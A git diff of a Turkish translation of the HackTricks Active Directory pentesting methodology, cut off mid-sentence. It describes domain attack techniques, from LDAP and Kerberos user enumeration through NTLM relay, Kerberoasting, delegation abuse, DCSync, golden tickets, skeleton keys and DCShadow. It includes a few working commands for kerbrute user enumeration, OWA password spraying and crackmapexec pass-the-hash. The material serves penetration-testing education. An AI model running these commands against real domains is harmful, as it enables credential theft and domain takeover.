{{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index f7a65be98..a541de47b 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -11,14 +11,14 @@ **Active Directory** içindeki anahtar kavramlar şunlardır: 1. **Dizin** – Active Directory nesneleri ile ilgili tüm bilgileri barındırır. -2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, ifade eder. +2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** dahil olmak üzere belirtir. 3. **Alan** – Dizin nesneleri için bir konteyner görevi görür, bir **orman** içinde birden fazla alanın bir arada bulunabilme yeteneğine sahiptir ve her biri kendi nesne koleksiyonunu korur. 4. **Ağaç** – Ortak bir kök alanı paylaşan alanların bir gruplamasıdır. -5. **Orman** – Active Directory'deki organizasyon yapısının zirvesidir, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur. +5. **Orman** – Active Directory'deki organizasyon yapısının zirvesi, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur. **Active Directory Alan Hizmetleri (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik olan bir dizi hizmeti kapsar. Bu hizmetler şunları içerir: -1. **Alan Hizmetleri** – Veri depolamasını merkezi hale getirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir, **kimlik doğrulama** ve **arama** işlevselliklerini içerir. +1. **Alan Hizmetleri** – Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir, **kimlik doğrulama** ve **arama** işlevlerini içerir. 2. **Sertifika Hizmetleri** – Güvenli **dijital sertifikaların** oluşturulması, dağıtımı ve yönetimini denetler. 3. **Hafif Dizin Hizmetleri** – **LDAP protokolü** aracılığıyla dizin destekli uygulamaları destekler. 4. **Dizin Federasyon Hizmetleri** – Bir oturumda birden fazla web uygulaması arasında kullanıcıları kimlik doğrulamak için **tek oturum açma** yetenekleri sağlar. @@ -36,7 +36,7 @@ Bir AD'yi **saldırmak** için **Kerberos kimlik doğrulama sürecini** gerçekt AD'yi listelemek/sömürmek için hangi komutları çalıştırabileceğinizi hızlıca görmek için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz. -## Active Directory'yi Keşfetme (Kimlik bilgisi/oturum yok) +## Recon Active Directory (Kimlik bilgisi/oturum yok) Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturumunuz yoksa şunları yapabilirsiniz: @@ -57,7 +57,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu - **Ldap'ı listele** - `nmap -n -sV --script "ldap* and not brute" -p 389 ` -- LDAP'ı listelemek için daha ayrıntılı bir kılavuzu burada bulabilirsiniz (lütfen **anonim erişime** özel dikkat gösterin): +- LDAP'ı listelemek için daha ayrıntılı bir kılavuzu burada bulabilirsiniz (özellikle **anonim erişime** dikkat edin): {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -65,7 +65,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu - **Ağı zehirle** - Kimlik bilgilerini [**Responder ile hizmetleri taklit ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) toplayın. -- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir ana makineye erişin. +- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir ana bilgisayara erişin. - Kimlik bilgilerini **sahte UPnP hizmetlerini** [**evil-S ile açığa çıkararak**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) toplayın. - [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology): - Alan ortamları içindeki iç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) kullanıcı adlarını/isimlerini çıkarın ve ayrıca kamuya açık olanlardan. @@ -77,7 +77,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu ### Kullanıcı listeleme - **Anonim SMB/LDAP listeleme:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarını kontrol edin. -- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hata** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek, bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir. +- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hatası** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek, bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir. ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -103,7 +103,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> Kullanıcı adı listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* ve bu ([**istatistiksel-olasılık-kullanıcı-adları**](https://github.com/insidetrust/statistically-likely-usernames)) içinde bulabilirsiniz. +> Kullanıcı adı listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* ve bu ([**istatistiksel-olasılıkta-kullanıcı-adları**](https://github.com/insidetrust/statistically-likely-usernames)) bulabilirsiniz. > > Ancak, bu adımdan önce gerçekleştirmiş olmanız gereken keşif aşamasından **şirket çalışanlarının isimlerini** almış olmalısınız. İsim ve soyadı ile [**namemash.py**](https://gist.github.com/superkojiman/11076951) scriptini kullanarak potansiyel geçerli kullanıcı adları oluşturabilirsiniz. @@ -127,13 +127,13 @@ Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehir ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -### NTML İletimi +### NTML Relay -Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**iletim saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz. +Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz. ### NTLM Kimlik Bilgilerini Çalmak -Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya bir şekilde erişildiğinde **sizinle NTML kimlik doğrulaması tetiklenecektir**, böylece **NTLM zorluğunu çalabilirsiniz**: +Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya bir şekilde erişildiğinde **NTML kimlik doğrulamasını tetikler**; böylece **NTLM zorluğunu çalabilirsiniz**: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -141,7 +141,7 @@ Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşıml ## Kimlik Bilgileri/oturum ile Aktif Dizin Listeleme -Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceden verilen seçeneklerin diğer kullanıcıları ele geçirmek için hala geçerli olduğunu unutmamalısınız.** +Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin hala diğer kullanıcıları ele geçirmek için seçenekler olduğunu unutmamalısınız**. Kimlik doğrulamalı listelemeye başlamadan önce **Kerberos çift atlama sorununu** bilmelisiniz. @@ -158,11 +158,11 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük - [**Temel bir keşif yapmak için CMD kullanabilirsiniz**](../basic-cmd-for-pentesters.md#domain-info) - Ayrıca [**keşif için powershell kullanabilirsiniz**](../basic-powershell-for-pentesters/) bu daha gizli olacaktır - Daha ayrıntılı bilgi çıkarmak için [**powerview kullanabilirsiniz**](../basic-powershell-for-pentesters/powerview.md) -- Aktif dizinde keşif için başka bir harika araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb. +- Aktif dizinde keşif için başka bir harika araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları bulun, vb. - **Diğer otomatik AD listeleme araçları şunlardır:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**AD'nin DNS kayıtları**](ad-dns-records.md) ilginç bilgiler içerebilir. - Dizin listelemek için kullanabileceğiniz bir **GUI aracı** **SysInternal** Suite'den **AdExplorer.exe**'dir. -- Ayrıca _userPassword_ & _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki Şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) bağlantısına bakın. +- Ayrıca _userPassword_ ve _unixUserPassword_ alanlarında kimlik bilgilerini aramak için **ldapsearch** ile LDAP veritabanında arama yapabilir veya _Description_ için bile arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) bağlantısına bakın. - **Linux** kullanıyorsanız, [**pywerview**](https://github.com/the-useless-one/pywerview) kullanarak alanı listeleyebilirsiniz. - Ayrıca otomatik araçlar denemek isteyebilirsiniz: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) @@ -171,7 +171,7 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net user /domain`, `Get-DomainUser` veya `wmic useraccount get name,sid`). Linux'ta ise şunları kullanabilirsiniz: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` veya `enum4linux -a -u "user" -p "password" ` -> Bu Listeleme bölümü küçük görünse de, bu tümünün en önemli kısmıdır. Bağlantılara erişin (özellikle cmd, powershell, powerview ve BloodHound olanlara), bir alanı nasıl listeleyeceğinizi öğrenin ve rahat hissettiğiniz zamana kadar pratik yapın. Bir değerlendirme sırasında, bu DA'ya ulaşmak veya hiçbir şey yapılamayacağına karar vermek için ana an olacaktır. +> Bu Listeleme bölümü küçük görünse de, bu tümünün en önemli kısmıdır. Bağlantılara erişin (özellikle cmd, powershell, powerview ve BloodHound olanlara), bir alanı nasıl listeleyeceğinizi öğrenin ve rahat hissettiğinizdeye kadar pratik yapın. Bir değerlendirme sırasında, bu DA'ya ulaşmak veya hiçbir şey yapılamayacağına karar vermek için ana an olacaktır. ### Kerberoast @@ -189,7 +189,7 @@ Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişimi ### Yerel Yetki Yükseltme -Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile diğer kullanıcıların **hash'lerini** bellekte (LSASS) ve yerelde (SAM) **dökmek** mümkün olacaktır. +Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) **dökmek** mümkün olacaktır. Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın. @@ -242,7 +242,7 @@ Sonra, bellek ve yerel olarak tüm hash'leri dökme zamanı.\ ### Hash'i Geç **Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek için** kullanabilirsiniz.\ -Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **oturum açma** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması gerçekleştirildiğinde**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\ +Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **oturum açma** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\ [**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/#pass-the-hash) ### Hash'i Aşma/ Anahtarı Geç @@ -274,8 +274,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ### MSSQL Kötüye Kullanımı & Güvenilir Bağlantılar -Bir kullanıcının **MSSQL örneklerine erişim** yetkisi varsa, MSSQL ana bilgisayarında **komutlar çalıştırmak** için bunu kullanabilir (eğer SA olarak çalışıyorsa), NetNTLM **hash**'ini **çalıp** alabilir veya hatta bir **relay** **saldırısı** gerçekleştirebilir.\ -Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse. Kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komut çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\ +Bir kullanıcının **MSSQL örneklerine erişim** yetkisi varsa, MSSQL ana bilgisayarında **komutlar çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay** **saldırısı** gerçekleştirmek için bunu kullanabilir.\ +Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse. Kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\ **Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.** {{#ref}} @@ -284,9 +284,9 @@ abusing-ad-mssql.md ### Sınırsız Delegasyon -Eğer [ADS_UF_TRUSTED_FOR_DELEGATION]() niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının bellekten TGT'lerini dökme yeteneğine sahip olursunuz.\ +[ADS_UF_TRUSTED_FOR_DELEGATION]() niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının bellekten TGT'lerini dökme yeteneğine sahip olursunuz.\ Yani, eğer bir **Domain Admin bilgisayara giriş yaparsa**, onun TGT'sini dökebilir ve [Pass the Ticket](pass-the-ticket.md) kullanarak onu taklit edebilirsiniz.\ -Sınırlı delegasyon sayesinde, bir **Yazıcı Sunucusunu otomatik olarak ele geçirebilirsiniz** (umarım bu bir DC olacaktır). +Sınırlı delegasyon sayesinde, **bir Yazıcı Sunucusunu otomatik olarak tehlikeye atabilirsiniz** (umarım bu bir DC olacaktır). {{#ref}} unconstrained-delegation.md @@ -294,8 +294,8 @@ unconstrained-delegation.md ### Sınırlı Delegasyon -Eğer bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcının bir bilgisayardaki bazı hizmetlere erişmek için herhangi bir kullanıcıyı taklit etmesine** olanak tanır.\ -Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişebilirsiniz. +Bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcının bir bilgisayardaki bazı hizmetlere erişmek için herhangi bir kullanıcıyı taklit etmesine** olanak tanır.\ +Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini tehlikeye atarsanız**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişebilirsiniz. {{#ref}} constrained-delegation.md @@ -311,7 +311,7 @@ resource-based-constrained-delegation.md ### ACL'lerin Kötüye Kullanımı -Ele geçirilmiş bir kullanıcının, bazı alan nesneleri üzerinde **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir. +Tehlikeye atılmış bir kullanıcının, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir. {{#ref}} acl-persistence-abuse/ @@ -327,7 +327,7 @@ printers-spooler-service-abuse.md ### Üçüncü Taraf Oturumlarının Kötüye Kullanımı -Eğer **diğer kullanıcılar** **ele geçirilmiş** makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine sinyaller enjekte etmek** mümkündür.\ +Eğer **diğer kullanıcılar** **tehlikeye atılmış** makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine sinyaller enjekte etmek** mümkündür.\ Genellikle kullanıcılar sisteme RDP aracılığıyla erişir, bu nedenle burada üçüncü taraf RDP oturumları üzerinde birkaç saldırı gerçekleştirme yöntemini bulabilirsiniz: {{#ref}} @@ -344,7 +344,7 @@ laps.md ### Sertifika Hırsızlığı -Ele geçirilmiş bir makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir: +Tehlikeye atılmış makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir: {{#ref}} ad-certificates/certificate-theft.md @@ -352,17 +352,17 @@ ad-certificates/certificate-theft.md ### Sertifika Şablonlarının Kötüye Kullanımı -Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları yetkileri yükseltmek için kötüye kullanmak mümkündür: +Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları kötüye kullanarak yetkileri yükseltmek mümkündür: {{#ref}} ad-certificates/domain-escalation.md {{#endref}} -## Yüksek Yetkili Hesap ile Post-Exploitation +## Yüksek Yetkili Hesap ile Post-Exploitasyon ### Alan Kimlik Bilgilerini Dökme -Bir kez **Domain Admin** veya daha iyi bir **Enterprise Admin** yetkisi elde ettiğinizde, **alan veritabanını** dökebilirsiniz: _ntds.dit_. +**Domain Admin** veya daha iyi bir **Enterprise Admin** yetkisi elde ettiğinizde, **alan veritabanını** dökebilirsiniz: _ntds.dit_. [**DCSync saldırısı hakkında daha fazla bilgi burada bulunabilir**](dcsync.md). @@ -411,7 +411,7 @@ golden-ticket.md ### Elmas Bilet -Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş altın biletler gibidir. +Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte bir şekilde oluşturulmuş altın biletler gibidir. {{#ref}} diamond-ticket.md @@ -441,7 +441,7 @@ Active Directory'deki **AdminSDHolder** nesnesi, **yetkili grupların** (Domain ### DSRM Kimlik Bilgileri -Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunur. Böyle bir makinede yönetici hakları elde ederek, yerel Yönetici hash'ini **mimikatz** kullanarak çıkarabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar. +Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunur. Böyle bir makinede yönetici hakları elde ederek, yerel Yönetici hash'ini **mimikatz** kullanarak çıkartabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar. {{#ref}} dsrm-credentials.md @@ -449,7 +449,7 @@ dsrm-credentials.md ### ACL Sürekliliği -Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının gelecekte **yetkileri yükseltmesine** olanak tanır. +Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının **gelecekte yetkileri yükseltmesine** olanak tanır. {{#ref}} acl-persistence-abuse/ @@ -465,7 +465,7 @@ security-descriptors.md ### İskelet Anahtar -**LSASS**'ı bellekte değiştirerek, tüm alan hesaplarına erişim sağlayan bir **evrensel parola** oluşturun. +**LSASS**'ı bellekte değiştirerek, tüm alan hesaplarına erişim sağlayan **evrensel bir parola** oluşturun. {{#ref}} skeleton-key.md @@ -473,7 +473,7 @@ skeleton-key.md ### Özel SSP -[SSP (Güvenlik Destek Sağlayıcısı) nedir burada öğrenin.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\ +[Bir SSP'nin (Güvenlik Destek Sağlayıcısı) ne olduğunu burada öğrenin.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\ Kendi **SSP'nizi** oluşturabilir ve makineye erişim için kullanılan **kimlik bilgilerini** **düz metin** olarak **yakalamak** için kullanabilirsiniz.\\ {{#ref}} @@ -482,7 +482,7 @@ custom-ssp.md ### DCShadow -AD'de **yeni bir Domain Controller** kaydeder ve belirtilen nesnelerde **özellikleri** (SIDHistory, SPNs...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\ +AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPNs...) **güncellemeleri** **log bırakmadan** itmek için kullanır. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\ Yanlış veri kullanırsanız, oldukça kötü loglar ortaya çıkacaktır. {{#ref}} @@ -491,7 +491,7 @@ dcshadow.md ### LAPS Sürekliliği -Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğimiz hakkında konuştuk. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\ +Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğimizi tartıştık. Ancak, bu parolalar **sürekliliği sağlamak için** de kullanılabilir.\ Kontrol edin: {{#ref}} @@ -500,29 +500,29 @@ laps.md ## Orman Yetki Yükseltme - Alan Güvenleri -Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir alanın ele geçirilmesinin, tüm Ormanın ele geçirilmesine yol açabileceği** anlamına gelir. +Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir alanın tehlikeye atılmasının, tüm Ormanın tehlikeye atılmasına yol açabileceği** anlamına gelir. ### Temel Bilgiler -Bir [**alan güveni**]() , bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar. +Bir [**alan güveni**](), bir kullanıcının bir **alan** içindeki kaynaklara erişmesini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar. -Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istediğinde, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı daha sonra bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladığında, bir TGS vererek kullanıcıya hizmete erişim izni verir. +Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istiyorsa, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı daha sonra bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladıktan sonra, kullanıcıya hizmete erişim izni veren bir TGS verir. **Adımlar**: -1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır. -2. DC1, istemci başarılı bir şekilde kimlik doğrulandıysa yeni bir TGT verir. +1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep ederek süreci başlatır. +2. İstemci başarılı bir şekilde kimlik doğrulandıysa, DC1 yeni bir TGT verir. 3. İstemci daha sonra **Domain 2**'deki kaynaklara erişmek için gereken **inter-realm TGT**'yi DC1'den talep eder. -4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni olarak paylaşılan bir **güven anahtarı** ile şifrelenmiştir. +4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni kapsamında paylaşılan bir **güven anahtarı** ile şifrelenmiştir. 5. İstemci inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür. 6. DC2, inter-realm TGT'yi paylaşılan güven anahtarı ile doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir. 7. Son olarak, istemci bu TGS'yi sunucuya sunar; bu, sunucunun hesap hash'i ile şifrelenmiştir ve Domain 2'deki hizmete erişim sağlar. ### Farklı Güvenler -**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan da birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilen** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilen alandan güvenen alandaki kaynaklara erişim sağlayabilirsiniz**. +**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 